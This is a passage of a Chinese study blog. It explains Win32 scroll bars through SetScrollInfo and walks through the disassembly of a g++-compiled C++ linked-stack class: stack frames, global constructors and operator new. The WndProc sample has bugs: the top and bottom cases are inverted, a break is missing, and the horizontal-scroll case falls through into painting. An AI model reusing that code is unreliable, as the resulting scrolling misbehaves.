UpdateWindow(hwnd);
}

Get/SetScrollInfo

先前的窗口中,滑块的大小是固定的,那么一小点都点不到.

而人家的滑块似乎是和总行数挂钩的,总行数越少滑块越大

image-20220808091255112
image-20220808091242529

确实如此,理论上可以得到一个公式 \[ \frac{滑块大小}{滚动条长度}=\frac{页面大小}{范围}=\frac{文档显示数量}{文档总大小} \]

我们先进的Set/GetScrollInfo函数已经超过了老式的Set/GetScrollRange,Set/GetScrollPos函数Set/GetScrollInfo就可以考虑这一点了

使用Set/GetScrollInfo完全可以做到先前的老式函数.

这俩函数可以设置/获得滚动条的所有信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
typedef struct tagSCROLLINFO {//SCROLLINFO结构体
UINT cbSize;//sizeof(SCROLLINFO)
UINT fMask;//要设置或者获取的值
int nMin;//范围最小值
int nMax;//范围最大值
UINT nPage;//页面大小
int nPos;//当前位置
int nTrackPos;//当前追踪位置
} SCROLLINFO, *LPSCROLLINFO;


int SetScrollInfo(
[in] HWND hwnd,
[in] int nBar,//要么是SB_VERT,要么是SB_HORZ,作用是决定滑块是水平还是垂直的
[in] LPCSCROLLINFO lpsi,//lpsi规定了ScrollInfo结构体应该被设置成什么状态
[in] BOOL redraw//表示是否重绘滚动条
);

BOOL GetScrollInfo(
[in] HWND hwnd,
[in] int nBar,
[in, out] LPSCROLLINFO lpsi//返回值用引用承载
);

奇怪的是,结构体的第一个成员是自己的大小,这不随便用sizeof一算就有了吗?

windows程序设计给出的解释是,方便以后扩充结构使用

使用该结构体之前需要ixan将cbSize字段填充

1
2
SCROLLINFO si;
si.cbSize=sizeof(SCROLLINFO);

真™抽象

fMask有效值:

1
2
3
4
5
6
#define SIF_RANGE 0x0001//范围掩码,获取SCROLLINFO.nMIn,.mMax
#define SIF_PAGE 0x0002//页面大小掩码,获取SCROLLINFO.nPage
#define SIF_POS 0x0004//滑块位置掩码,获取SCROLLINFO.nPos
#define SIF_DISABLENOSCROLL 0x0008
#define SIF_TRACKPOS 0x0010
#define SIF_ALL (SIF_RANGE | SIF_PAGE | SIF_POS | SIF_TRACKPOS)

不管是使用Set还是GetScrollInfo方法,引用传递的lpsi参数都要指定fMask这个成员

对于GetScrollInfo方法,指定了fMask=SIF_POS ,那么函数执行后lpsi引用的nPos就是有效值,其他成员无效

对于SetScrollInfo方法,指定了fMask=SIF_POS,那么函数根据lpsi的nPos值修改滚动条参数.其他成员不予理睬

修改滑块位置

使用SetScrollInfo改进的WM_CREATE处理函数

1
2
3
4
5
6
7
8
9
static SCROLLINFO si;
...

if (iVscrollPos != GetScrollPos(hwnd, SB_VERT)) {
si.fMask = SIF_POS;//设置掩码,只改变nPos参数
SetScrollInfo(hwnd, SB_VERT, &si, FALSE);//不立刻重绘
InvalidateRect(hwnd, NULL, TRUE);
UpdateWindow(hwnd);
}
设置滚动条范围
1
2
3
4
5
6
7
8
9
10
11
case WM_SIZE:
cxClient = LOWORD(lParam);
cyClient = HIWORD(lParam);
si.fMask = SIF_RANGE | SIF_PAGE;
si.nMin = 0;
si.nMax = NUMLINES - 1;
si.nPage = cyClient / cyChar;
SetScrollInfo(hwnd, SB_VERT, &si, TRUE);
//iVscrollMax = max(0, NUMLINES - cyClient / cyChar);老方法
//SetScrollRange(hwnd, SB_VERT, 0, iVscrollMax, TRUE);
return 0;

虽然我们传递的si.nMax=NUMLINES-1但是Windows操作系统会自动将滚动条范围最大值设置为si.nMax-si.nPage+1,这就是SetScrollInfo函数相对于SetScrollRange的好处

更完善的滑动效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) {

static int cxChar, cxCaps, cyChar, cxClient, cyClient, iMaxWidth;//字母宽度,大写字母宽度,行高度,客户区宽度,客户区高度,期望的最长宽度 //单位全是像素
HDC hdc;
int i, x, y, iVertPos, iHorzPos, iPaintBeg, iPaintEnd;//循环变量,绘制起点x,绘制起点y,竖直滑块位置,水平滑块位置,需要开始绘制的行号,需要结束绘制的行号
PAINTSTRUCT ps;
SCROLLINFO si;
TCHAR szBuffer[10];
TEXTMETRIC tm;
RECT rect;

switch (message) {
case WM_CREATE:

hdc = GetDC(hwnd);
GetTextMetrics(hdc, &tm);//获取系统字体属性
cxChar = tm.tmAveCharWidth;
cxCaps = cxChar;
if (tm.tmPitchAndFamily & 1) {
cxCaps = cxChar * 3 / 2;
}
cyChar = tm.tmHeight + tm.tmExternalLeading;

ReleaseDC(hwnd, hdc);
iMaxWidth = 40 * cxChar + 22 * cxCaps;//初始化期望的最长宽度,以后就当作常数使用了
return 0;
case WM_SIZE:
cxClient = LOWORD(lParam);//获取实时客户区宽度
cyClient = HIWORD(lParam);//获取实时客户区高度


//设置竖直滚动条属性
si.cbSize = sizeof(si);//初始化si结构体
si.fMask = SIF_RANGE | SIF_PAGE;//设置访问掩码
si.nMin = 0;//设置滚动条范围上限为0
si.nMax = NUMLINES - 1;//设置滚动条下限为NUMLINES-1
si.nPage = cyClient / cyChar;//设置滚动条滚一页(一页=客户区一屏)的行数,客户区高度/一行的高度=客户区行数
SetScrollInfo(hwnd, SB_VERT, &si, TRUE);//注册滚动条信息

//设置水平滚动条属性
si.cbSize = sizeof(si);//初始化si结构体
si.fMask = SIF_RANGE | SIF_PAGE;//设置访问掩码
si.nMin = 0;
si.nMax = 2 + iMaxWidth / cxChar;//水平一页的宽度
si.nPage = cxClient / cxChar;//客户区宽度➗字符宽度=一行可以有多少个字符
SetScrollInfo(hwnd, SB_HORZ, &si, TRUE);
return 0;

case WM_VSCROLL:
si.cbSize = sizeof(si);
si.fMask = SIF_ALL;//设置访问掩码
GetScrollInfo(hwnd, SB_VERT, &si);
iVertPos = si.nPos;//iVertPos记录修改之前的si.nPos滑块位置
switch (LOWORD(wParam)) {
case SB_TOP:
si.nPos = si.nMax;
break;
case SB_BOTTOM:
si.nPos = si.nMin;
case SB_LINEUP:
si.nPos -= 1;
break;
case SB_LINEDOWN:
si.nPos += 1;
break;
case SB_PAGEUP:
si.nPos -= si.nPage;
break;
case SB_PAGEDOWN:
si.nPos += si.nPage;
break;
case SB_THUMBTRACK://TRACK会一直跟踪鼠标位置
si.nPos = si.nTrackPos;
break;

default:
break;

}
si.fMask = SIF_POS;//设置访问掩码,修改滚动条的滑块位置信息
SetScrollInfo(hwnd, SB_VERT, &si, TRUE);
GetScrollInfo(hwnd, SB_VERT, &si);

if (si.nPos != iVertPos) {//比较本次修改前后si.nPos是否发生了变化
//如果发生了变化则立刻通知重绘
ScrollWindow(hwnd, 0, cyChar * (iVertPos - si.nPos), NULL, NULL);
UpdateWindow(hwnd);
}
return 0;

case WM_HSCROLL:
si.cbSize = sizeof(si);
si.fMask = SIF_ALL;
GetScrollInfo(hwnd, SB_HORZ, &si);
iHorzPos = si.nPos;
switch (LOWORD(wParam)) {
case SB_LINERIGHT:
si.nPos += 1;
break;
case SB_LINELEFT:
si.nPos -= 1;
break;
case SB_PAGELEFT:
si.nPos -= si.nPage;
break;
case SB_PAGERIGHT:
si.nPos += si.nPage;
break;
case SB_THUMBPOSITION://POSITION只会在鼠标松开时才更新位置
si.nPos = si.nTrackPos;
break;

default:
break;
}
si.fMask = SIF_POS;
SetScrollInfo(hwnd, SB_HORZ, &si, TRUE);
GetScrollInfo(hwnd, SB_HORZ, &si);
if (si.nPos != iHorzPos) {
ScrollWindow(hwnd, cxChar * (iHorzPos - si.nPos), 0, NULL, NULL);
UpdateWindow(hwnd);
}



case WM_PAINT:
hdc = BeginPaint(hwnd,&ps);//ps包含了当前客户区信息
si.cbSize = sizeof(si);
si.fMask = SIF_POS;
GetScrollInfo(hwnd, SB_VERT, &si);
iVertPos = si.nPos;//获取当前滑块位置
GetScrollInfo(hwnd, SB_HORZ, &si);
iHorzPos = si.nPos;
iPaintBeg = max(0, iVertPos + ps.rcPaint.top / cyChar);//计算绘制第几行
iPaintEnd = min(NUMLINES - 1, iVertPos + ps.rcPaint.bottom / cyChar);

for (i = iPaintBeg; i <= iPaintEnd; ++i) {

x = cxChar * (1 - iHorzPos);
y = cyChar * (i - iVertPos);
TextOut(hdc, x, y, sysmetrics[i].szLabel, lstrlen(sysmetrics[i].szLabel));
TextOut(hdc, x+22*cxCaps, y, sysmetrics[i].szDesc, lstrlen(sysmetrics[i].szDesc));


SetTextAlign(hdc, TA_RIGHT | TA_TOP);
wsprintf(szBuffer, TEXT("%5d"), GetSystemMetrics(sysmetrics[i].Index));
TextOut(hdc, x + 22 * cxCaps+40*cxChar, y, szBuffer,lstrlen(szBuffer));
SetTextAlign(hdc, TA_LEFT | TA_TOP);

}
EndPaint(hwnd, &ps);
return 0;


case WM_DESTROY:
PostQuitMessage(0);
return 0;

}
return DefWindowProc(hwnd, message, wParam, lParam);
}

使用老式函数时拖动滑块只有当鼠标松开,才会重绘客户区

现在只要是鼠标拖着竖直滑块有动作,客户区实时更新

image-20220808144125813

绷不住了

C++ reverse

windows x86 g++编译器生成的代码

以链栈类为例观察C++的反汇编长啥样

链栈类图

image-20220727214639205

mermaid在typora上可以正常显式,但是放到网页上就不知道发生什么事了

代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#include <iostream>
using namespace std;
class Stack
{
protected:
int len;

public:
Stack()
{
len = 0;
}
void push(const int &x);
void pop();
int top() const;
int length() const
{
return len;
}
bool empty() const
{
return len == 0;
}
};

class LinkedNode
{
protected:
int value;
LinkedNode *next;

public:
LinkedNode(int v = 0, LinkedNode *n = NULL) : value(v), next(n) {}
void setValue(int v = 0)
{
value = v;
}
int getValue() const
{
return value;
}
void setNext(LinkedNode *n = NULL)
{
next = n;
}
LinkedNode *getNext() const
{
return next;
}

friend ostream &operator<<(ostream &os, const LinkedNode &node)
{
os << node.value;
return os;
}
};
class LinkedStack : public Stack
{
protected:
LinkedNode *head;

public:
LinkedStack() : Stack()
{
head = new LinkedNode();
}
void push(const int &x)
{
LinkedNode *node = new LinkedNode(x, head->getNext());
head->setNext(node);//头插
++len;
}
void pop()
{
if (empty())
return;
LinkedNode *p = head->getNext();
head->setNext(p->getNext());
delete p;
--len;
}
int top() const
{
if (empty())
return -1;
return head->getNext()->getValue();
}
};

int main()
{
LinkedStack sta;
for (int i = 1; i <= 10; ++i)
{
sta.push(i);//测试压栈功能
}
cout << sta.length() << endl;
while (!sta.empty())
{
cout << sta.top() << " ";//测试取栈顶功能
sta.pop();//测试退栈功能
}
return 0;
}

GCC编译链接

1
g++ main.cpp -O0 -o main -m32

thiscall调用约定

thiscall调用约定

唯一一个不能明确指明的函数修饰,因为thiscall不是关键字。他是C++类成员函数缺省的调用约定。由于成员函数调用还是一个this指针,所以thiscall是专为C++设计的调用方式。

1、参数从右往左入栈

2、如果参数个数确定,this指针通过通过ecx传递给被调用者;如果参数个数不确定,this指针在所有参数压栈后被压入堆栈

3、对参数个数不定的,调用者清理堆栈,否则函数自己清理

main函数反汇编

main函数开端

main遵守cdecl调用约定,只有成员函数才遵守thiscall调用约定

image-20220428152115878
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
.text:00401530 ; Attributes: bp-based frame fuzzy-sp
.text:00401530
.text:00401530 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00401530 public _main
.text:00401530 _main proc near ; CODE XREF: ___tmainCRTStartup+221↑p
.text:00401530
.text:00401530 var_14 = dword ptr -14h
.text:00401530 var_10 = byte ptr -10h
.text:00401530 var_4 = dword ptr -4
.text:00401530 argc = dword ptr 8
.text:00401530 argv = dword ptr 0Ch
.text:00401530 envp = dword ptr 10h
.text:00401530
.text:00401530 lea ecx, [esp+4]
.text:00401534 and esp, 0FFFFFFF0h
.text:00401537 push dword ptr [ecx-4]
.text:0040153A push ebp
.text:0040153B mov ebp, esp
.text:0040153D push ecx
.text:0040153E sub esp, 24h

main函数刚开始时,esp指向0077FEDC,用OD观察这个位置,是主线程的堆栈

image-20220726180155902

主线程的堆栈起于0x77E000,大小是0x2000即8K

由于堆栈倒着生长,因此栈底在0x780000,此时栈顶在0x0077FEDC,方向是0x780000->0x77E000

距离栈底0x780000-0x77FEDC=0x124即292字节

但是这时候主函数才是刚开始啊,也只有主函数的三个参数压栈了啊,怎么就已经使用了292个字节这么大呢?

主函数不是程序的入口点,在主函数执行前还有其他函数要执行,也可能占用线程栈

PE头->NT头->可选头->AddressOfEntryPoint

其RVA是0x14C0

image-20220726170200724

而ImageBase是0x400000

image-20220726170228334

加起来得到入口点的虚拟地址为0x4014C0

lea ecx, [esp+4]

将要执行此条指令时,esp=0x77FEDC,

此时栈中是啥呢?

1
2
3
4
5
0077FEDC  00401386  ___tmainCRTStartup+226
0077FEE0 00000001
0077FEE4 00CA1650 debug034:00CA1650
0077FEE8 00CA22B8 debug034:00CA22B8
...

栈顶0077FEDC存放的是主函数的返回地址,这个地址在___tmainCRTStartu函数中

1
2
3
4
5
6
7
.text:0040136C mov     [esp+90h+lpreserved], eax ; envp
.text:00401370 mov eax, ds:_argv
.text:00401375 mov [esp+90h+dwReason], eax ; argv
.text:00401379 mov eax, ds:_argc
.text:0040137E mov [esp+90h+dwMilliseconds], eax ; argc
.text:00401381 call _main
.text:00401386 mov ecx, ds:_managedapp

显然这个返回地址是call _main函数压入栈中的

栈顶再往下四个字节,0077FEE0上是1,是main函数的第一个参数int argc,4个字节

再往下四个字节0077FEE4上是main函数的第二个参数,命令行参数字符串数组const char **argv的基地址,4个字节

再往下四个字节0077FEE8上市main函数的第三个参数,环境变量字符串数组const char **envp的基地址,4个字节

esp+4显然就指向main函数的第一个参数int argc

加载有效地址将该参数的地址交给ecx

and esp, 0FFFFFFF0h

esp低4位置零,高28位保持不变,意思是16字节对齐

此举只能导致esp不增,要么esp本来低位有数现在降到0,要么本来esp就是16字节对齐了,不用降为0.

又栈是倒着生长的,因此不用担心此举将会导致新的压栈覆盖三个参数

对齐的目的应该是追求效率

此步执行后的栈帧

1
2
3
4
0077FED0  00000002  
0077FED4 00DB1618 debug035:00DB1618
0077FED8 00DB1670 debug035:00DB1670
0077FEDC 00401386 ___tmainCRTStartup+226
push dword ptr [ecx-4]

ecx在本函数的第一条指令时被置为第一个参数的地址

现在将ecx-4又退到main函数的返回地址

这里又把返回地址压栈

1
2
3
4
5
6
7
8
9
0077FECC  00401386  ___tmainCRTStarup+226
0077FED0 00000002
0077FED4 00DA1618 debug035:00DA16
0077FED8 00DA1670 debug035:00DA16
0077FEDC 00401386 ___tmainCRTStarup+226
0077FEE0 00000004
0077FEE4 00DA1660 debug035:00DA16
0077FEE8 00DA22B8 debug035:00DA22
0077FEEC 00000000

好像把返回值和参数压了两次栈,第一次是调用者___tmainCRTStarup做的,第二次是main函数做的

为啥要搞重复建设呢?

推测是因为调用约定不同导致的,___tmainCRTStarup这个函数不是cdecl调用约定的,而是stdcall约定的

push ebp

调用者函数的帧指针ebp压栈保存,方便ebp为现在的函数服务

mov ebp, esp

ebp获得当前main函数栈顶指针拷贝

当前栈顶指向二次压栈的返回值地址

push ecx

ecx存放的是第一个参数的地址,现在又把他压栈,相当于这个值前后一共压栈3次

推测这里是保存ecx寄存器值后来再还给他

sub esp, 24h

栈顶下移0x24h个字节,为main函数申请栈帧空间,一次性申请全

到此函数开端完毕

main初始化

call ___main

这个函数进行了一些初始化,它先判断是否已经初始化过了,如果初始化过了则返回

否则记录一下已经初始化过了,然后执行___do_global_ctors这个函数,推测是对全局位置的对象实例化调用构造函数

image-20220726190345716

奇怪的是,调用函数应该使用call指令,但是____main中调用___do_global_ctors使用的是jmp short跳转指令,使用jmp不会参数压栈,可以认为___do_global_ctors不需要参数,但是返回地址也没有压栈,___do_global_ctors执行完毕之后,控制应该交给谁呢?

___main函数如果jz跳转实现,再loc_40BC70中也是没有返回值的,但是___main在调用的时候已经把返回到__main的地址压栈,因此可以推测,___do_global_ctors相当于___main的延续,它将会返回到___main栈帧一开始压入的返回地址

这个__do_global_ctors干了啥呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void __do_global_ctors()
{
func_ptr v0; // ebx
func_ptr v1; // eax

v0 = __CTOR_LIST__[0];
if ( __CTOR_LIST__[0] == (func_ptr)-1 )//func_ptr是指针类型,(func_ptr)-1是将-1强制转换为指针类型,需要结合 __CTOR_LIST__[0] 来立即这里的判断条件
{
v1 = 0;
do
{
v0 = v1;//v0指向上一个函数指针
v1 = (func_ptr)((char *)v1 + 1);//v1后移一个单位
}
while ( __CTOR_LIST__[(_DWORD)v1] );//当v1遍历完整个函数指针表时,最后一项为全0,此时while条件不满足,跳出循环
}
for ( ; v0; v0 = (func_ptr)((char *)v0 - 1) )//v0逆序遍历整个函数指针表
__CTOR_LIST__[(_DWORD)v0]();//后面加了小括号意思是当作函数执行了
atexit(__do_global_dtors);//注册函数,当程序正常终止的时候,执行__do_global_dtors函数.
//当程序执行到此时并不会执行执行__do_global_dtors函数,而是当整个exe程序执行完毕才会执行__do_global_dtors函数
//atexit只是起到注册作用
}

__CTOR_LIST__表是一个函数指针表

第零个函数指针__CTOR_LIST__[0]的值为0xFFFFFFFFh=-1,这个值总是-1,表征函数指针表的开始,并且填了第0个元素的空,使得真正的函数指针下标从1开始

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:004CA335 90 90 90 90 90 90 90 90 90 90+                align 10h
.text:004CA340 public ___CTOR_LIST__
.text:004CA340 ; func_ptr __CTOR_LIST__[]
.text:004CA340 FF FF FF FF ___CTOR_LIST__ dd 0FFFFFFFFh ; DATA XREF: ___do_global_ctors+4↑r
.text:004CA340 ; ___do_global_ctors:loc_40BC18↑r ...
.text:004CA344 3C 16 40 00 dd offset __GLOBAL__sub_I_main
.text:004CA348 00 96 4C 00 dd offset __GLOBAL__sub_I__ZNSt12ctype_bynameIcEC2ERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEj
.text:004CA34C 90 96 4C 00 dd offset __GLOBAL__sub_I__ZNSt12ctype_bynameIwEC2ERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEj
.text:004CA350 60 9D 4C 00 dd offset __GLOBAL__sub_I__ZNSt12ctype_bynameIcEC2ERKSsj
.text:004CA354 30 9E 4C 00 dd offset __GLOBAL__sub_I__ZNSt12ctype_bynameIwEC2ERKSsj
.text:004CA358 00 9F 4C 00 dd offset __GLOBAL__sub_I__ZN9__gnu_cxx9__freeresEv
.text:004CA35C 50 A2 4C 00 dd offset __GLOBAL__sub_I__ZSt20__throw_system_errori
.text:004CA360 30 A3 4C 00 dd offset _register_frame_ctor
.text:004CA364 00 00 00 00 align 8

__do_global_dtors干了啥呢?

推测是遍历了析构函数表,挨个执行每个函数指针

1
2
3
4
5
6
7
8
9
10
void __cdecl __do_global_dtors()
{
void (*i)(void); // eax

for ( i = *p_63984; i; ++p_63984 )
{
i();
i = p_63984[1];
}
}

这个p_63984是指向全局析构函数表的指针

1
.data:004CD004 6C A3 4C 00                   _p_63984        dd offset dword_4CA36C  ; 

dword_4CA36C就是__DTOR_LIST_表的基地址

这个表很长,怎么运作的现在不想操心

现在回到main函数中

lea eax, [ebp+var_10]

将栈中var_10的地址放到eax中,这里var_10作用不是狠清晰,前面都没有提到var_10,

可以猜测一下,主函数下面就开了一个局部的LinkedStack对象,var_10会不会是该对象呢

联系后面调用LinkedStack构造函数,var_10十有八九是该对象

mov ecx, eax

再转手交给ecx

call __ZN11LinkedStackC1Ev

调用LinkedStack类的构造函数

跟踪一下这个函数

调用LinkedStack实例化一个链栈对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
.text:00422334 ; Attributes: bp-based frame
.text:00422334
.text:00422334 ; LinkedStack *LinkedStack::LinkedStack(LinkedStack *__hidden this)
.text:00422334 public __ZN11LinkedStackC1Ev
.text:00422334 __ZN11LinkedStackC1Ev proc near
.text:00422334
.text:00422334 var_C= dword ptr -0Ch
.text:00422334 var_4= dword ptr -4
.text:00422334 this= dword ptr 8
.text:00422334
.text:00422334 push ebp
.text:00422335 mov ebp, esp
.text:00422337 push ebx
.text:00422338 sub esp, 24h
.text:0042233B mov [ebp+var_C], ecx
.text:0042233E mov eax, [ebp+var_C]
.text:00422341 mov ecx, eax
.text:00422343 call __ZN5StackC2Ev ; Stack::Stack(void)
.text:00422348 mov dword ptr [esp], 8 ; size_t
.text:0042234F call __Znwj ; operator new(uint)
.text:00422354 mov ebx, eax
.text:00422356 mov dword ptr [esp+4], 0
.text:0042235E mov dword ptr [esp], 0
.text:00422365 mov ecx, ebx
.text:00422367 call __ZN10LinkedNodeC1EiPS_ ; LinkedNode::LinkedNode(int,LinkedNode*)
.text:0042236C sub esp, 8
.text:0042236F mov eax, [ebp+var_C]
.text:00422372 mov [eax+4], ebx
.text:00422375 nop
.text:00422376 mov ebx, [ebp+var_4]
.text:00422379 leave
.text:0042237A retn
.text:0042237A __ZN11LinkedStackC1Ev endp

ecx->var_C->eax->ecx,兜兜转转还是ecx,这就很乖,为啥要用var_C捯饬?

再看后面的.text:00422343 call __ZN5StackC2Ev ; Stack::Stack(void)恍然大悟

又要使用当前对象调用父类构造函数了,那么ecx中啃腚还是要存放当前对象

只不过编译器没有优化这件事了

跟踪一下父类构造函数Stack()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:00422910 ; Attributes: bp-based frame
.text:00422910
.text:00422910 ; Stack *Stack::Stack(Stack *__hidden this)
.text:00422910 public __ZN5StackC2Ev
.text:00422910 __ZN5StackC2Ev proc near
.text:00422910
.text:00422910 var_4= dword ptr -4
.text:00422910 this= dword ptr 8
.text:00422910
.text:00422910 push ebp
.text:00422911 mov ebp, esp
.text:00422913 sub esp, 4
.text:00422916 mov [ebp+var_4], ecx
.text:00422919 mov eax, [ebp+var_4]
.text:0042291C mov dword ptr [eax], 0
.text:00422922 nop
.text:00422923 leave
.text:00422924 retn
.text:00422924 __ZN5StackC2Ev endp

当前对象的栈中地址->ecx->var_4->eax

0->[eax]=当前对象=当前对象的第一个成员

也就是当前对象的第一个双字置0,而Stack对象的第一个成员正好是一个双字的int len

因此这就做了len = 0;这么一件事

为啥要费六条汇编指令呢?这是调用约定固定的结构

ecx传递的当前对象的栈中地址必须先压入栈中然后eax从栈中获得该对象的地址,

后面使用eax寄存器相对寻址对栈上的对象进行内存读写

这样看直接从ecx交给eax不行吗?不需要压栈中转啊

显然是可以的,但是没有开启编译优化就得这样来

回到LinkedStack()

mov dword ptr [esp], 8 ; size_t

栈顶上放一个8,貌似要调用函数了,但是很奇怪的是,后面要调用的是operator new,它怎么会有参数呢?

还有就是,LinkedStack()构造函数中只有一个句柄head,没有一个int类型的局部变量,为啥现在要再栈上放一个8?

联系后文可知,这个8将作为new开辟空间的大小Size

8临时占用了head句柄的位置,后面开出对象来之后再写回这个位置,节省了空间

LinkedNode就两个成员变量并且都是4个字节,那么一个LinkedNode实例的大小也就是sizeof(LinkedNode)=8

1
2
int value;
LinkedNode *next;

因此这里把8临时放到head的位置

call __Znwj ; operator new(uint)

调用new运算符(_Znwj这名字是真tm抽象)

根据源代码的逻辑,此处应该是new一个LinkedNode类实例作为链栈的附加头节点head

这个new干了啥呢?

image-20220726213033815

ebx是被调用者保存寄存器,也就是Znwj要维护其值前后不变

ebx压栈保存后被赋予新值1,然后申请了18h=24字节的栈帧空间

mov eax, [esp+1Ch+arg_0]

这里esp=77fe50,arg_0=4

加起来指向77fe70,栈中这个位置

1
2
0077FE6C  00422354  LinkedStack::LinkedStack(void)+20
0077FE70 00000008

这个位置是LinkedStack函数局部变量的起始位置

也就是刚才mov dword ptr [esp], 8 ; size_t这条指令的目的位置

1
2
3
4
LinkedStack() : Stack()
{
head = new LinkedNode();
}

而LinkedStack的局部变量只有一个head

那么这里eax将会是head这个句柄的值,刚才已经被临时置为8表征对象大小,因此现在用ebx保存这个大小,为head的真值让路

再往下到log_4C7F12中,

上来就把ebx放到栈上作为Size,准备调用malloc,而ebx经过前面的分析可以得知,就是LinkedNode的大小

这是循环的开始,可以看到循环调用了_malloc函数,推测是,如果堆上申请空间失败则一直重复申请,直到申请成功

怎么判断的?

malloc的返回值用eax承载,如果申请成功则eax承载的是堆上地址,否则eax=0

当eax不为0则jz short loc_4C7F23跳转失败,执行

1
2
3
.text:004C7F1E add     esp, 18h
.text:004C7F21 pop ebx
.text:004C7F22 retn

函数就返回了,eax承载返回值

当eax为0则jz short loc_4C7F23后面继续循环

继续循环并没有立刻重新调用malloc函数,而是做了一些手续,具体干了啥呢?

image-20220726215953952

下到loc_4C7F23中,首先调用了一个无参函数get_new_handler

这个函数就干了一个事mov eax, __ZN12_GLOBAL__N_113__new_handlerE ;其中__ZN12_GLOBAL__N_113__new_handlerE =0

new_handler是我们应当人为设置的函数,即使用set_new_handler设置的函数,作用是在operator new中,malloc开不出堆空间时,应该执行的函数

显然我们之前并没有使用set_new_handler设置这么一个纠错函数,这种情况下get_new_handler将返回NULL

显然__ZN12_GLOBAL__N_113__new_handlerE这个值应该存放的是一个函数地址,我们没有设置set_new_handler当然这个位置存放的是0,这也就是get_new_handler返回NULL的原因

说他是一个函数地址,还可以在后文看出,使用get_new_handler之后eax理论上承载的是函数地址,程序先检查一下eax是否有效,如果有效(即非零)则直接call eax说明eax中就是函数地址,即__ZN12_GLOBAL__N_113__new_handlerE理应存放函数地址

如果我们调用set_new_handler设置过处理函数,则直接跳转loc_4C7F12重新调用malloc

这可以做一个实验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <iostream>
using namespace std;

void flag(){
cout<<"flag{dustball}";
exit(0);
}
const int maxn=10000000;
int main()
{
set_new_handler(flag);

while(true){
int *p=new int[maxn];
}
return 0;
}

如果堆爆了,开不出来,理应执行flag函数,而主函数中我们丧心病狂地一直索取堆空间,必然会导致堆满

1
2
3
PS C:\Users\86135\Desktop\test> g++ test.cpp -O0 -o test -m32
PS C:\Users\86135\Desktop\test> ./test
flag{dustball}

可以看到确实执行了set_new_handler设置的flag函数

如果把main中的死循环去掉,只索要一个1e7的int数组,显然不会爆堆,此时就不会执行flag函数

至于堆空间有多大呢?

这个在PE头->NT头->附加头->SizeOfHeapReserve

用010editor打开main.exe观察这个位置

image-20220726222343978

发现给堆预留的空间是100000h=1MB

如果我们没有设置过处理函数,则执行loc_4C7F30缺省处理过程.该处理过程干了啥呢?

1
2
3
4
5
6
7
8
9
10
.text:004C7F30
.text:004C7F30 loc_4C7F30: ; thrown_size
.text:004C7F30 mov [esp+1Ch+Size], 4
.text:004C7F37 call ___cxa_allocate_exception
.text:004C7F3C mov dword ptr [eax], offset off_4D8C80
.text:004C7F42 mov [esp+1Ch+var_14], offset __ZNSt9bad_allocD1Ev ; void (__cdecl *)(void *)
.text:004C7F4A mov [esp+1Ch+lptinfo], offset __ZTISt9bad_alloc ; lptinfo
.text:004C7F52 mov [esp+1Ch+Size], eax ; void *
.text:004C7F55 call ___cxa_throw
.text:004C7F55 __Znwj endp

这个结构并没有返回到loc_4C7F12重新尝试malloc,

一开始调用了___cxa_allocate_exception

image-20220726223944814

发生了什么事呢?先看结局,

要么左下GE,函数返回了,其效果就相当于malloc一开始就开出来然后返回了

要么右下BE,还是开不出来,直接调用了terminate()终止了程序

GE结局有两种达成情况,一个是___cxa_allocate_exception又尝试了一次malloc,这次开出来了,直接GE

另一种达成清空是,这次又没开出来,两次malloc都没开出来,这时候进入了loc_4C805C,关键调用了一个__ZN12_GLOBAL__N_14pool8allocateEj_constprop_0

反汇编这个函数看看吧,好家伙都用到了互斥锁,涉及进程安全性了,上网搜一下pool_allocate吧,说是内存池之类的东西.

这就需要学了CSAPP实现mallocSTL源码剖析再说了

本次对operator new的炎鸠就到此位置吧

回到LinkedStack()函数中

mov ebx, eax

如果能回来,说明new没有寄,那么eax中就是new在堆上开辟的对象的地址

这里eax将堆上对象的地址交给了ebx

mov dword ptr [esp+4], 0

本条指令以及后面的mov dword ptr [esp], 0参数压栈,马上要调用函数了

mov ecx, ebx

ebx将堆上对象的地址交给ecx,

可是不应该放在栈上head的地方吗?为啥要给ecx呢?

之前我们已经知道,ecx是用来存放当前对象的,其作用也就是this指针

那么后面啃腚要调用一个作用于当前对象的函数

刚才我们从new的逻辑中只能看到分配了空间,可是这片对空间并没有初始化,而head = new LinkedNode();这里调用了构造函数.

那么可以推测,马上就要调用LinkedNode的构造函数了

call __ZN10LinkedNodeC1EiPS_ ; LinkedNode::LinkedNode(int,LinkedNode*)

果然如此,调用了LinkedNode构造函数,他有两个参数,都是4字节类型

并且我们没有在源代码显式地给他传参,而是使用的缺省参数(默认为0)

1
head = new LinkedNode();

这也就解释了刚才压栈两个0是为啥了

跟踪一下LinkedNode()干了啥

1
2
3
4
5
6
